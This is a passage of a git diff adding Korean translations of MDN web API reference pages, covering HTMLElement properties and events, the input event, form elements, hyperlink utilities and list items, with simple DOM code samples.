주어진 페치(fetch)의 진행을 허용할지를 결정하기 위한 컨텐츠 보안 정책(Content Security Policy)에서 한 번 사용된 암호회된 숫자를 반환합니다.
+
{{domxref("HTMLElement.offsetHeight")}} {{readonlyInline}}{{experimental_inline}}
+
레이아웃에 상대적인 요소의 높이를 갖는 double 을 반환합니다.
+
{{domxref("HTMLElement.offsetLeft")}}{{readonlyInline}}{{experimental_inline}}
+
요소의 left border 부터 offsetParent 의 left border 까지의 거리를 double 로 반환합니다.
+
{{domxref("HTMLElement.offsetParent")}}{{readonlyInline}}{{experimental_inline}}
+
모든 오프셋 계산이 현재 연산된 요소인 {{domxref("Element")}} 를 반환합니다.
+
{{domxref("HTMLElement.offsetTop")}}{{readonlyInline}}{{experimental_inline}}
+
요소의 top border 부터 offsetParent 의 top border 까지의 거리를 double 로 반환합니다.
+
{{domxref("HTMLElement.offsetWidth")}}{{readonlyInline}}{{experimental_inline}}
+
레이아웃에 상대적인 요소의 너비를 갖는 double 을 반환합니다.
+
{{domxref("HTMLElement.properties")}} {{readonlyInline}}{{experimental_inline}}
+
{{domxref("HTMLPropertiesCollection")}}… 을 반환합니다.
+
{{domxref("HTMLElement.spellcheck")}}{{ gecko_minversion_inline("1.9")}}
+
철자 검사를 제어하는 {{jsxref("Boolean")}} 입니다. 모든 HTML 요소에 존재하지만, 모두에 대해 적용되지는 않습니다.
+
{{domxref("HTMLElement.style")}}
+
요소의 스타일 속성의 정의를 나타내는 {{domxref("CSSStyleDeclaration")}} 객체입니다.
+
{{domxref("HTMLElement.tabIndex")}}
+
탭 순서에서 요소의 위치를 나타내는 long 입니다.
+
{{domxref("HTMLElement.title")}}
+
요소에 마우스를 오버할 때 팝업 상자에 표시되는 텍스트를 갖는 {{domxref("DOMString")}} 입니다.
+
{{domxref("HTMLElement.translate")}} {{experimental_inline}}
+
번역을 나타내는 {{jsxref("Boolean")}} 입니다.
+
+ +

이벤트 핸들러

+ +

onXYZ 형태의 대부분의 이벤트 핸들러 속성은 {{domxref("GlobalEventHandlers")}} 또는 {{domxref("TouchEventHandlers")}} 에 정의되어 있으며 HTMLElement 에 의해 구현되었습니다. 다음 HTMLElement 에 해당하는 핸들러입니다.

+ +
+
{{ domxref("HTMLElement.oncopy") }} {{ non-standard_inline() }}
+
copy 이벤트를 위한 이벤트 핸들링 코드를 반환합니다({{bug("280959")}}).
+
{{ domxref("HTMLElement.oncut") }} {{ non-standard_inline() }}
+
cut 이벤트를 위한 이벤트 핸들링 코드를 반환합니다({{bug("280959")}}).
+
{{ domxref("HTMLElement.onpaste") }} {{ non-standard_inline() }}
+
paste 이벤트를 위한 이벤트 핸들링 코드를 반환합니다({{bug("280959")}}).
+
{{domxref("TouchEventHandlers.ontouchstart")}} {{non-standard_inline}}
+
{{event("touchstart")}} 이벤트를 위한 이벤트 핸들링 코드를 반환합니다.
+
{{domxref("TouchEventHandlers.ontouchend")}} {{non-standard_inline}}
+
{{event("touchend")}} 이벤트를 위한 이벤트 핸들링 코드를 반환합니다.
+
{{domxref("TouchEventHandlers.ontouchmove")}} {{non-standard_inline}}
+
{{event("touchmove")}} 이벤트를 위한 이벤트 핸들링 코드를 반환합니다.
+
{{domxref("TouchEventHandlers.ontouchenter")}} {{non-standard_inline}}
+
{{event("touchenter")}} 이벤트를 위한 이벤트 핸들링 코드를 반환합니다.
+
{{domxref("TouchEventHandlers.ontouchleave")}} {{non-standard_inline}}
+
{{event("touchleave")}} 이벤트를 위한 이벤트 핸들링 코드를 반환합니다.
+
{{domxref("TouchEventHandlers.ontouchcancel")}} {{non-standard_inline}}
+
{{event("touchcancel")}} 이벤트를 위한 이벤트 핸들링 코드를 반환합니다.
+
+ +

메서드

+ +

부모인 {{domxref("Element")}}의 메서드를 상속합니다.

+ +
+
{{domxref("HTMLElement.blur()")}}
+
현재 포커스된 요소로부터 키보드 포커스를 제거합니다.
+
{{domxref("HTMLElement.click()")}}
+
요소로 마우스 클릭 이벤트를 전달합니다.
+
{{domxref("HTMLElement.focus()")}}
+
요소에 현재 키보드 포커스를 생성합니다.
+
{{domxref("HTMLElement.forceSpellCheck()")}} {{experimental_inline}}
+
요소에 철자 확인자를 생성합니다.
+
+ +

이벤트

+ +

Listen to these events using addEventListener() or by assigning an event listener to the oneventname property of this interface.

+ +
+
invalid
+
Fired when an element does not satisfy its constraints during constraint validation.
+ Also available via the oninvalid property.
+
+ +

Animation events

+ +
+
animationcancel
+
Fired when an animation unexpectedly aborts.
+ Also available via the onanimationcancel property.
+
animationend
+
Fired when an animation has completed normally.
+ Also available via the onanimationend property.
+
animationiteration
+
Fired when an animation iteration has completed.
+ Also available via the onanimationiteration property.
+
animationstart
+
Fired when an animation starts.
+ Also available via the onanimationstart property.
+
+ +

Input events

+ +
+
beforeinput
+
Fired when the value of an {{HTMLElement("input")}}, {{HTMLElement("select")}}, or {{HTMLElement("textarea")}} element is about to be modified.
+
input
+
Fired when the value of an {{HTMLElement("input")}}, {{HTMLElement("select")}}, or {{HTMLElement("textarea")}} element has been changed.
+ Also available via the oninput property.
+
+ +

Pointer events

+ +
+
gotpointercapture
+
Fired when an element captures a pointer using setPointerCapture().
+ Also available via the ongotpointercapture property.
+
lostpointercapture
+
Fired when a captured pointer is released.
+ Also available via the onlostpointercapture property.
+
pointercancel
+
Fired when a pointer event is canceled.
+ Also available via the onpointercancel property.
+
pointerdown
+
Fired when a pointer becomes active.
+ Also available via the onpointerdown property.
+
pointerenter
+
Fired when a pointer is moved into the hit test boundaries of an element or one of its descendants.
+ Also available via the onpointerenter property.
+
pointerleave
+
Fired when a pointer is moved out of the hit test boundaries of an element.
+ Also available via the onpointerleave property.
+
pointermove
+
Fired when a pointer changes coordinates.
+ Also available via the onpointermove property.
+
pointerout
+
Fired when a pointer is moved out of the hit test boundaries of an element (among other reasons).
+ Also available via the onpointerout property.
+
pointerover
+
Fired when a pointer is moved into an element's hit test boundaries.
+ Also available via the onpointerover property.
+
pointerup
+
Fired when a pointer is no longer active.
+ Also available via the onpointerup property.
+
+ +

Transition events

+ +
+
transitioncancel
+
Fired when a CSS transition is canceled.
+ Also available via the ontransitioncancel property.
+
transitionend
+
Fired when a CSS transition has completed.
+ Also available via the ontransitionend property.
+
transitionrun
+
Fired when a CSS transition is first created.
+ Also available via the ontransitionrun property.
+
transitionstart
+
Fired when a CSS transition has actually started.
+ Also available via the ontransitionstart property.
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('CSSOM View', '#extensions-to-the-htmlelement-interface', 'HTMLElement')}}{{Spec2('CSSOM View')}}다음 속성들이 추가됨: offsetParent, offsetTop, offsetLeft, offsetWidth, offsetHeight.
{{SpecName('HTML WHATWG', 'elements.html#htmlelement', 'HTMLElement')}}{{Spec2('HTML WHATWG')}}다음 속성들이 추가됨: translate, itemScope, itemType, itemId, itemRef, itemProp, properties, itemValue.
+ 다음 메소드가 추가됨: forceSpellcheck().
+ onXYZ 속성을 {{domxref("GlobalEventHandlers")}} 인터페이스로 이동하고 이로부터 상속을 추가함.
{{SpecName('HTML5 W3C', 'dom.html#htmlelement', 'HTMLElement')}}{{Spec2('HTML5 W3C')}}다음 속성들이 추가됨: dataset, hidden, tabindex, accessKey, accessKeyLabel, draggable, dropzone, contentEditable, isContentEditable, contextMenu, spellcheck, commandType, commandLabel, commandIcon, commandHidden, commandDisabled, commandChecked, style, 모든 onXYZ 속성들.
+ idclassName 속성을 {{domxref("Element")}} 인터페이스로 이동함.
{{SpecName('DOM2 HTML', 'html.html#ID-011100101', 'HTMLElement')}}{{Spec2('DOM2 HTML')}}{{SpecName('DOM2 HTML')}} 으로부터 변경 사항 없음
{{SpecName('DOM1', 'level-one-html.html#ID-011100101', 'HTMLElement')}}{{Spec2('DOM1')}}초기 정의.
+ +

브라우저 호환성

+ + + +

{{Compat("api.HTMLElement")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/htmlelement/input_event/index.html b/files/ko/web/api/htmlelement/input_event/index.html new file mode 100644 index 0000000000..d8f606a439 --- /dev/null +++ b/files/ko/web/api/htmlelement/input_event/index.html @@ -0,0 +1,100 @@ +--- +title: 'HTMLElement: input event' +slug: Web/API/HTMLElement/input_event +translation_of: Web/API/HTMLElement/input_event +--- +
{{APIRef}}
+ +

input 이벤트는 {{HTMLElement("input")}}, {{HTMLElement("select")}} 및 {{HTMLElement("textarea")}} 요소의 value 속성이 바뀔 때마다 발생한다.

+ + + + + + + + + + + + + + + + + + + + +
전파 가능가능
취소 가능불가
인터페이스{{DOMxRef("InputEvent")}}
이벤트 핸들러 속성{{domxref("GlobalEventHandlers.oninput")}}
+ +

또한, 이 이벤트는 아무 요소의 {{domxref("HTMLElement.contentEditable", "contenteditable")}} 속성 및 {{domxref("Document.designMode", "designMode")}} 속성이 활성화 되어도 발생할 수 있다. 이런 경우, contenteditable 및 designMode, 속성이 활성화된 자식을 가진 편집 불가능한 최초 부모 요소에서 발생한다. 예를 들어 특정 요소에서 부모자식관계 중 자식 관계 여러개가 해당 속성이 활성화되어 내용 변경 시 이벤트가 발생해야 할 때, 해당 속성이 활성화되지 않은 최초의 부모 요소를 기준으로 발생하게 된다.

+ +

type=checkbox 및 type=radio, 속성을 가진 <input> 요소의 경우, HTML5 규격에 의하면, input 이벤트는 반드시 사용자가 작동시킬 때마다 발생된다. 하지만 애초부터 그렇게 설계되어 있지 않은 경우가 있으므로, 반드시 아래 호환성 문단을 참고하거나, 호환되지 않을 경우, {{domxref("HTMLElement/change_event", "change")}} 이벤트를 대신해서 사용하도록 한다.

+ +
+

참고: The input 이벤트는 {{domxref("HTMLElement/change_event", "change")}} 이벤트와는 달리 value 속성이 바뀔 시마다 반드시 일어난다. 값을 선택하거나 옵션 선택하자마자 일어나지만, 특정 글자를 입력 시에는 입력이 끝나고 value 속성에 적용되어야 발생하는데, 예를 들면, 한글 입력의 경우 한글자가 완성된 뒤 다른 키를 입력(예: 엔터 키)이 일어나야 발생된다. 이 또한 브라우저마다 다르므로 호환성을 확인하여 대응해야 한다. (역자 주)

+
+ +

예시

+ +

이 예시는 {{HtmlElement("input")}} 요소에 값을 입력하자마자 로그에 기록한다.

+ +

HTML

+ +
<input placeholder="Enter some text" name="name"/>
+<p id="values"></p>
+ +

JavaScript

+ +
const input = document.querySelector('input');
+const log = document.getElementById('values');
+
+input.addEventListener('input', updateValue);
+
+function updateValue(e) {
+  log.textContent = e.target.value;
+}
+ +

Result

+ +

{{EmbedLiveSample("Examples")}}

+ +

Specifications

+ + + + + + + + + + + + + + + + + + +
SpecificationStatus
{{SpecName('HTML WHATWG', "forms.html#event-input-input", "input event")}}{{Spec2('HTML WHATWG')}}
{{SpecName('DOM3 Events', "#event-type-input", "input event")}}{{Spec2('DOM3 Events')}}
+ +

Browser compatibility

+ + + +

{{Compat("api.HTMLElement.input_event")}}

+ +

같이보기

+ + diff --git a/files/ko/web/api/htmlelement/offsetparent/index.html b/files/ko/web/api/htmlelement/offsetparent/index.html new file mode 100644 index 0000000000..f79d785530 --- /dev/null +++ b/files/ko/web/api/htmlelement/offsetparent/index.html @@ -0,0 +1,43 @@ +--- +title: HTMLElement.offsetParent +slug: Web/API/HTMLElement/offsetParent +translation_of: Web/API/HTMLElement/offsetParent +--- +
+
{{ APIRef("HTML DOM") }}
+
+ +

HTMLElement.offsetParent 읽기전용 프라퍼티는 가장 가까운 (포함 계층에서 가장 가까운) 위치가 정해진 포함하는 엘리먼트 객체에 대한 참조를 반환한다. offsetParent는 엘리먼트의 위치가 정해지지 않으면 가장 가까운 테이블 또는 테이블 셀, 루트 엘리먼트 (표준 준수 모드에서는 html; quirks 렌더링 모드에서는 body) 를 반환한다.
+ 엘리먼트의 style.display가 "none"으로 설정되면 null을 반환한다. offsetParent는 {{domxref("HTMLElement.offsetTop","offsetTop")}}과 {{domxref("HTMLElement.offsetLeft","offsetLeft")}}가 그것의 패딩 모서리에 상대적이기 때문에 유용하다.

+ +

문법

+ +
parentObj = element.offsetParent;
+
+ + + +

명세

+ + + + + + + + + + + + + + + + +
명세상태주석
{{SpecName('CSSOM View', '#dom-htmlelement-offsetparent', 'offsetParent')}}{{Spec2('CSSOM View')}} 
+ +

브라우저 호환성

+ +

{{Compat("api.HTMLElement.offsetParent")}}

diff --git a/files/ko/web/api/htmlelement/outertext/index.html b/files/ko/web/api/htmlelement/outertext/index.html new file mode 100644 index 0000000000..5fba566816 --- /dev/null +++ b/files/ko/web/api/htmlelement/outertext/index.html @@ -0,0 +1,33 @@ +--- +title: HTMLElement.outerText +slug: Web/API/HTMLElement/outerText +translation_of: Web/API/HTMLElement/outerText +--- +
{{APIRef("DOM")}}
+ +

{{ Non-standard_header() }}

+ +

HTMLElement.outerText 는 비표준 속성(property)입니다. getter로써{{domxref("Node.innerText")}}의 값을 반환합니다. setter로써는 현재 노드를 삭제하고 주어진 텍스트값으로 대체합니다.

+ +

Example

+ +

StackOverflow의 이 답변을 보세요.

+ +

Specification

+ +

표준이 아니므로 스펙이 없습니다. 표준 논의가 다음에서 진행중입니다: whatwg/html#668.

+ +

Microsoft has a description on MSDN.

+ +

Browser compatibility

+ + + +

{{Compat("api.HTMLElement.outerText")}}

+ +

See also

+ + diff --git a/files/ko/web/api/htmlelement/style/index.html b/files/ko/web/api/htmlelement/style/index.html new file mode 100644 index 0000000000..5976dd66bc --- /dev/null +++ b/files/ko/web/api/htmlelement/style/index.html @@ -0,0 +1,41 @@ +--- +title: element.style +slug: Web/API/HTMLElement/style +tags: + - API + - HTML DOM + - HTMLElement + - Property + - Reference + - Style +translation_of: Web/API/ElementCSSInlineStyle/style +--- +
{{ APIRef("HTML DOM") }}
+ +

HTMLElement.style 속성은 요소의 인라인 스타일에 접근하거나 설정할 때 사용할 수 있습니다. 접근자로서는 요소의 인라인 style 속성이 포함한 CSS 선언을 담은 {{domxref("CSSStyleDeclaration")}} 객체를 반환합니다

+ +

예제

+ +
// Set multiple styles in a single statement
+elt.style.cssText = "color: blue; border: 1px solid black";
+// Or
+elt.setAttribute("style", "color:red; border: 1px solid blue;");
+
+// Set specific style while leaving other inline style values untouched
+elt.style.color = "blue";
+ +

명세

+ +

DOM Level 2 Style: ElementCSSInlineStyle.style

+ +

CSSOM: ElementCSSInlineStyle

+ +

브라우저 호환성

+ +

{{Compat("api.HTMLElement.style")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/htmlelement/tabindex/index.html b/files/ko/web/api/htmlelement/tabindex/index.html new file mode 100644 index 0000000000..7cbb0fa1f0 --- /dev/null +++ b/files/ko/web/api/htmlelement/tabindex/index.html @@ -0,0 +1,26 @@ +--- +title: element.tabIndex +slug: Web/API/HTMLElement/tabIndex +tags: + - DOM + - Gecko + - Gecko DOM Reference +translation_of: Web/API/HTMLOrForeignElement/tabIndex +--- +

{{ ApiRef() }}

+

요약

+

현재 요소의 탭 순서를 get/set.

+

구문

+
element.tabIndex =iIndex
+
+

매개변수

+ +

+
b1 = document.getElementById("button1");
+b1.tabIndex = 1;
+
+

명세

+

tabIndex

+

{{ languages( { "en": "en/DOM/element.tabIndex", "pl": "pl/DOM/element.tabIndex" } ) }}

diff --git a/files/ko/web/api/htmlformelement/index.html b/files/ko/web/api/htmlformelement/index.html new file mode 100644 index 0000000000..b6131f14f9 --- /dev/null +++ b/files/ko/web/api/htmlformelement/index.html @@ -0,0 +1,240 @@ +--- +title: HTMLFormElement +slug: Web/API/HTMLFormElement +tags: + - API + - HTML DOM + - HTMLFormElement + - Interface + - Reference +translation_of: Web/API/HTMLFormElement +--- +
{{APIRef("HTML DOM")}}
+ +

The {{domxref("HTMLFormElement")}} interface represents a {{HTMLElement("form")}} element in the DOM; it allows access to and in some cases modification of aspects of the form, as well as access to its component elements.

+ +

{{InheritanceDiagram(600,120)}}

+ +

Properties

+ +

This interface also inherits properties from its parent, {{domxref("HTMLElement")}}.

+ +
+
{{domxref("HTMLFormElement.elements")}} {{ReadOnlyInline}}
+
A {{domxref("HTMLFormControlsCollection")}} holding all form controls belonging to this form element.
+
{{domxref("HTMLFormElement.length")}}{{ReadOnlyInline}}
+
A long reflecting the number of controls in the form.
+
{{domxref("HTMLFormElement.name")}}
+
A {{domxref("DOMString")}} reflecting the value of the form's {{ htmlattrxref("name", "form") }} HTML attribute, containing the name of the form.
+
{{domxref("HTMLFormElement.method")}}
+
A {{domxref("DOMString")}} reflecting the value of the form's {{ htmlattrxref("method", "form") }} HTML attribute, indicating the HTTP method used to submit the form. Only specified values can be set.
+
{{domxref("HTMLFormElement.target")}}
+
A {{domxref("DOMString")}} reflecting the value of the form's {{ htmlattrxref("target", "form") }} HTML attribute, indicating where to display the results received from submitting the form.
+
{{domxref("HTMLFormElement.action")}}
+
A {{domxref("DOMString")}} reflecting the value of the form's {{ htmlattrxref("action", "form") }} HTML attribute, containing the URI of a program that processes the information submitted by the form.
+
{{domxref("HTMLFormElement.encoding")}} or {{domxref("HTMLFormElement.enctype")}}
+
A {{domxref("DOMString")}} reflecting the value of the form's {{ htmlattrxref("enctype", "form") }} HTML attribute, indicating the type of content that is used to transmit the form to the server. Only specified values can be set. The two properties are synonyms.
+
{{domxref("HTMLFormElement.acceptCharset")}}
+
A {{domxref("DOMString")}} reflecting the value of the form's {{ htmlattrxref("accept-charset", "form") }} HTML attribute, representing the character encoding that the server accepts.
+
{{domxref("HTMLFormElement.autocomplete")}}
+
A {{domxref("DOMString")}} reflecting the value of the form's {{ htmlattrxref("autocomplete", "form") }} HTML attribute, indicating whether the controls in this form can have their values automatically populated by the browser.
+
{{domxref("HTMLFormElement.noValidate")}}
+
A {{jsxref("Boolean")}} reflecting the value of the form's {{ htmlattrxref("novalidate", "form") }} HTML attribute, indicating whether the form should not be validated.
+
+ +

Named inputs are added to their owner form instance as properties, and can overwrite native properties if they share the same name (eg a form with an input named action will have its action property return that input instead of the form's {{ htmlattrxref("action", "form") }} HTML attribute).

+ +

Methods

+ +

This interface also inherits methods from its parent, {{domxref("HTMLElement")}}.

+ +
+
{{domxref("HTMLFormElement.checkValidity", "checkValidity()")}}
+
Returns true if the element's child controls are subject to constraint validation and satisfy those contraints; returns false if some controls do not satisfy their constraints. Fires an event named {{event("invalid")}} at any control that does not satisfy its constraints; such controls are considered invalid if the event is not canceled. It is up to the programmer to decide how to respond to false.
+
{{domxref("HTMLFormElement.reportValidity", "reportValidity()")}}
+
Returns true if the element's child controls satisfy their validation constraints. When false is returned, cancelable {{Event("invalid")}} events are fired for each invalid child and validation problems are reported to the user.
+
{{domxref("HTMLFormElement.requestSubmit", "requestSubmit()")}}
+
Requests that the form be submitted using the specified submit button and its corresponding configuration.
+
{{domxref("HTMLFormElement.reset", "reset()")}}
+
Resets the form to its initial state.
+
{{domxref("HTMLFormElement.submit", "submit()")}}
+
Submits the form to the server.
+
+ +

Deprecated methods

+ +
+
{{domxref("HTMLFormElement.requestAutocomplete()")}} {{deprecated_inline}}
+
Triggers a native browser interface to assist the user in completing the fields which have an autofill field name value that is not off or on. The form will receive an event once the user has finished with the interface, the event will either be {{event("autocomplete")}} when the fields have been filled or {{event("autocompleteerror")}} when there was a problem.
+
+ +

Events

+ +

Listen to these events using addEventListener() or by assigning an event listener to the oneventname property of this interface.

+ +
+
formdata
+
The formdata event fires after the entry list representing the form's data is constructed.
+ Also available via the onformdata property.
+
reset
+
The reset event fires when a form is reset.
+ Also available via the onreset property.
+
submit
+
The submit event fires when a form is submitted.
+ Also available via the onsubmit property.
+
+ +

Usage notes

+ +

Obtaining a form element object

+ +

To obtain an HTMLFormElement object, you can use a CSS selector with {{domxref("ParentNode.querySelector", "querySelector()")}}, or you can get a list of all of the forms in the document using its {{domxref("Document.forms", "forms")}} property.

+ +

{{domxref("Document.forms")}} returns an array of HTMLFormElement objects listing each of the forms on the page. You can then use any of the following syntaxes to get an individual form:

+ +
+
document.forms[index]
+
Returns the form at the specified index into the array of forms.
+
document.forms[id]
+
Returns the form whose ID is id.
+
document.forms[name]
+
Returns the form whose {{domxref("Element.name", "name")}} attribute's value is name.
+
+ +

Accessing the form's elements

+ +

You can access the list of the form's data-containing elements by examining the form's {{domxref("HTMLFormElement.elements", "elements")}} property. This returns an {{domxref("HTMLFormControlsCollection")}} listing all of the form's user data entry elements, both those which are descendants of the <form> and those which are made members of the form using their form attributes.

+ +

You can also get the form's element by using its name attribute as a key of the form, but using elements is a better approach — it contains only the form's elements, and it cannot be mixed with other attributes of the form.

+ +

Elements that are considered form controls

+ +

The elements which are included by HTMLFormElement.elements and HTMLFormElement.length are:

+ + + +

No other elements are included in the list returned by elements, which makes it an excellent way to get at the elements most important when processing forms.

+ +

Examples

+ +

Creating a new form element, modifying its attributes, then submitting it:

+ +
var f = document.createElement("form");// Create a form
+document.body.appendChild(f);          // Add it to the document body
+f.action = "/cgi-bin/some.cgi";        // Add action and method attributes
+f.method = "POST";
+f.submit();                            // Call the form's submit method
+
+ +

Extract information from a form element and set some of its attributes:

+ +
<form name="formA" action="/cgi-bin/test" method="post">
+ <p>Press "Info" for form details, or "Set" to change those details.</p>
+ <p>
+  <button type="button" onclick="getFormInfo();">Info</button>
+  <button type="button" onclick="setFormInfo(this.form);">Set</button>
+  <button type="reset">Reset</button>
+ </p>
+
+ <textarea id="form-info" rows="15" cols="20"></textarea>
+</form>
+
+<script>
+  function getFormInfo(){
+    // Get a reference to the form via its name
+    var f = document.forms["formA"];
+    // The form properties we're interested in
+    var properties = [ 'elements', 'length', 'name', 'charset', 'action', 'acceptCharset', 'action', 'enctype', 'method', 'target' ];
+    // Iterate over the properties, turning them into a string that we can display to the user
+    var info = properties.map(function(property) { return property + ": " + f[property] }).join("\n");
+
+    // Set the form's <textarea> to display the form's properties
+    document.forms["formA"].elements['form-info'].value = info; // document.forms["formA"]['form-info'].value would also work
+  }
+
+  function setFormInfo(f){ // Argument should be a form element reference.
+    f.action = "a-different-url.cgi";
+    f.name   = "a-different-name";
+  }
+</script>
+
+ +

Submit a form into a new window:

+ +
<!doctype html>
+<html>
+<head>
+<meta charset="utf-8">
+<title>Example new-window form submission</title>
+</head>
+<body>
+
+<form action="test.php" target="_blank">
+  <p><label>First name: <input type="text" name="firstname"></label></p>
+  <p><label>Last name: <input type="text" name="lastname"></label></p>
+  <p><label><input type="password" name="pwd"></label></p>
+
+  <fieldset>
+   <legend>Pet preference</legend>
+    <p><label><input type="radio" name="pet" value="cat"> Cat</label></p>
+    <p><label><input type="radio" name="pet" value="dog"> Dog</label></p>
+  </fieldset>
+
+  <fieldset>
+    <legend>Owned vehicles</legend>
+
+    <p><label><input type="checkbox" name="vehicle" value="Bike">I have a bike</label></p>
+    <p><label><input type="checkbox" name="vehicle" value="Car">I have a car</label></p>
+  </fieldset>
+
+  <p><button>Submit</button></p>
+</form>
+
+</body>
+</html>
+ +

Submitting forms and uploading files using XMLHttpRequest

+ +

If you want to know how to serialize and submit a form using the {{domxref("XMLHttpRequest")}} API, please read this paragraph.

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "#htmlformelement", "HTMLFormElement")}}{{Spec2('HTML WHATWG')}}The following method has been added: requestAutocomplete().
{{SpecName('HTML5 W3C', "sec-forms.html#htmlformelement", "HTMLFormElement")}}{{Spec2('HTML5 W3C')}}The elements properties returns an {{domxref("HTMLFormControlsCollection")}} instead of a raw {{domxref("HTMLCollection")}}. This is mainly a technical change. The following method has been added: checkValidity(). The following properties have been added: autocomplete, noValidate, and encoding.
+ +

Browser compatibility

+ + + +

{{Compat("api.HTMLFormElement")}}

+ +

See also

+ + diff --git a/files/ko/web/api/htmlhyperlinkelementutils/href/index.html b/files/ko/web/api/htmlhyperlinkelementutils/href/index.html new file mode 100644 index 0000000000..ba2dbea4d5 --- /dev/null +++ b/files/ko/web/api/htmlhyperlinkelementutils/href/index.html @@ -0,0 +1,51 @@ +--- +title: HTMLHyperlinkElementUtils.href +slug: Web/API/HTMLHyperlinkElementUtils/href +tags: + - API + - Experimental + - HTMLHyperlinkElementUtils + - Location + - Property + - Reference +translation_of: Web/API/HTMLHyperlinkElementUtils/href +--- +
{{ApiRef("URL API")}}
+ +

HTMLHyperlinkElementUtils.href 속성은 온전한 URL을 값으로 가지는 {{domxref("USVString")}}입니다.

+ +

예제

+ +
// Lets imagine an <a id="myAnchor" href="https://developer.mozilla.org/en-US/HTMLHyperlinkElementUtils/href"> element is in the document
+var anchor = document.getElementById("myAnchor");
+var result = anchor.href; // Returns: 'https://developer.mozilla.org/en-US/HTMLHyperlinkElementUtils/href'
+
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-hyperlink-href', 'HTMLHyperlinkElementUtils.href')}}{{Spec2('HTML WHATWG')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.HTMLHyperlinkElementUtils.href")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/htmlhyperlinkelementutils/index.html b/files/ko/web/api/htmlhyperlinkelementutils/index.html new file mode 100644 index 0000000000..cd82725dbf --- /dev/null +++ b/files/ko/web/api/htmlhyperlinkelementutils/index.html @@ -0,0 +1,91 @@ +--- +title: HTMLHyperlinkElementUtils +slug: Web/API/HTMLHyperlinkElementUtils +tags: + - API + - Experimental + - Mixin + - NeedsTranslation + - TopicStub + - URL API +translation_of: Web/API/HTMLHyperlinkElementUtils +--- +

{{ApiRef("URL API")}}{{SeeCompatTable}}

+ +

The HTMLHyperlinkElementUtils mixin defines utility methods and properties to work with {{domxref("HTMLAnchorElement")}} and {{domxref("HTMLAreaElement")}}. These utilities allow to deal with common features like URLs.

+ +

There are no objects of this type, but several objects {{domxref("HTMLAnchorElement")}} and {{domxref("HTMLAreaElement")}} implement it.

+ +

Properties

+ +
+

Note: This interface doesn't inherit any property.

+
+ +
+
{{domxref("HTMLHyperlinkElementUtils.href")}}
+
This is a {{domxref("USVString")}} containing the whole URL.
+
{{domxref("HTMLHyperlinkElementUtils.protocol")}}
+
This is a {{domxref("USVString")}} containing the protocol scheme of the URL, including the final ':'.
+
{{domxref("HTMLHyperlinkElementUtils.host")}}
+
This is a {{domxref("USVString")}} containing the host, that is the hostname, and then, if the port of the URL is not empty (which can happen because it was not specified or because it was specified to be the default port of the URL's scheme), a ':', and the port of the URL.
+
{{domxref("HTMLHyperlinkElementUtils.hostname")}}
+
This is a {{domxref("USVString")}} containing the domain of the URL.
+
{{domxref("HTMLHyperlinkElementUtils.port")}}
+
This is a {{domxref("USVString")}} containing the port number of the URL.
+
{{domxref("HTMLHyperlinkElementUtils.pathname")}}
+
This is a {{domxref("USVString")}} containing an initial '/' followed by the path of the URL.
+
{{domxref("HTMLHyperlinkElementUtils.search")}}
+
This is a {{domxref("USVString")}} containing a '?' followed by the parameters of the URL.
+
{{domxref("HTMLHyperlinkElementUtils.hash")}}
+
This is a {{domxref("USVString")}} containing a '#' followed by the fragment identifier of the URL.
+
{{domxref("HTMLHyperlinkElementUtils.username")}}
+
This is a {{domxref("USVString")}} containing the username specified before the domain name.
+
{{domxref("HTMLHyperlinkElementUtils.password")}}
+
This is a {{domxref("USVString")}} containing the password specified before the domain name.
+
{{domxref("HTMLHyperlinkElementUtils.origin")}} {{readonlyInline}}
+
This returns a {{domxref("USVString")}} containing the origin of the URL (that is its scheme, its domain and its port).
+
+ +

Methods

+ +
+

Note: This interface doesn't inherit any method.

+
+ +
+
{{domxref("HTMLHyperlinkElementUtils.toString()")}}
+
This returns a {{domxref("DOMString")}} containing the whole URL. It is a synonym for {{domxref("HTMLHyperlinkElementUtils.href")}}, though it can't be used to modify the value.
+
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#htmlhyperlinkelementutils', 'HTMLHyperlinkElementUtils')}}{{Spec2('HTML WHATWG')}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.HTMLHyperlinkElementUtils")}}

+ +

See also

+ + diff --git a/files/ko/web/api/htmllielement/index.html b/files/ko/web/api/htmllielement/index.html new file mode 100644 index 0000000000..8d75b5f623 --- /dev/null +++ b/files/ko/web/api/htmllielement/index.html @@ -0,0 +1,77 @@ +--- +title: HTMLLIElement +slug: Web/API/HTMLLIElement +translation_of: Web/API/HTMLLIElement +--- +
+
{{ APIRef("HTML DOM") }}
+
+ +

 HTMLLIElement 인터페이스는 리스트 엘리먼트를 조작하기 위한 특정 프로퍼티와 메소드들을 제공합니다.

+ +

( 정규 {{domxref("HTMLElement")}} 인터페이스의 상속을통해 사용이 가능합니다. )

+ +

{{InheritanceDiagram(600, 120)}}

+ +

Properties

+ +

부모인 {{domxref("HTMLElement")}}에서 상속받습니다.

+ +
+
{{domxref("HTMLLIElement.type")}} {{obsolete_inline}}
+
는  {{domxref("DOMString")}} 의 "disc", "square" 나 "circle" 같은 bullets 타입을 대표합니다.
+ 리스트 유형을 정의하는 표준 정의 방법은 CSS {{cssxref("list-style-type")}} 프로퍼티를 통해서 이므로, 스트립트를 통하여 CSSSOM 메소드를 사용하세요.
+
{{domxref("HTMLLIElement.value")}}
+
는 주어진 {{HTMLElement("ol")}} 리스트 엘리먼트 안에서 서수의 위치를 가르키는 오랜 서수적 포지션입니다. 이것은 HTML의  {{HTMLElement("li")}}엘리먼트의 {{htmlattrxref("value", "li")}}속성을 나타냅니다. 그리고  0 보다 작을 수도 있습니다.
+ 만일 {{HTMLElement("li")}} 엘리먼트가 {{HTMLElement("ol")}}  엘리먼트의 자식이 아니라면, 프로퍼티는 아무 의미가 없게됩니다.
+
+ +

Methods

+ +

특정 메소드가 없으며, 부모로부터 프로퍼티를 상속 받습니다.{{domxref("HTMLElement")}}.

+ +

Specifications

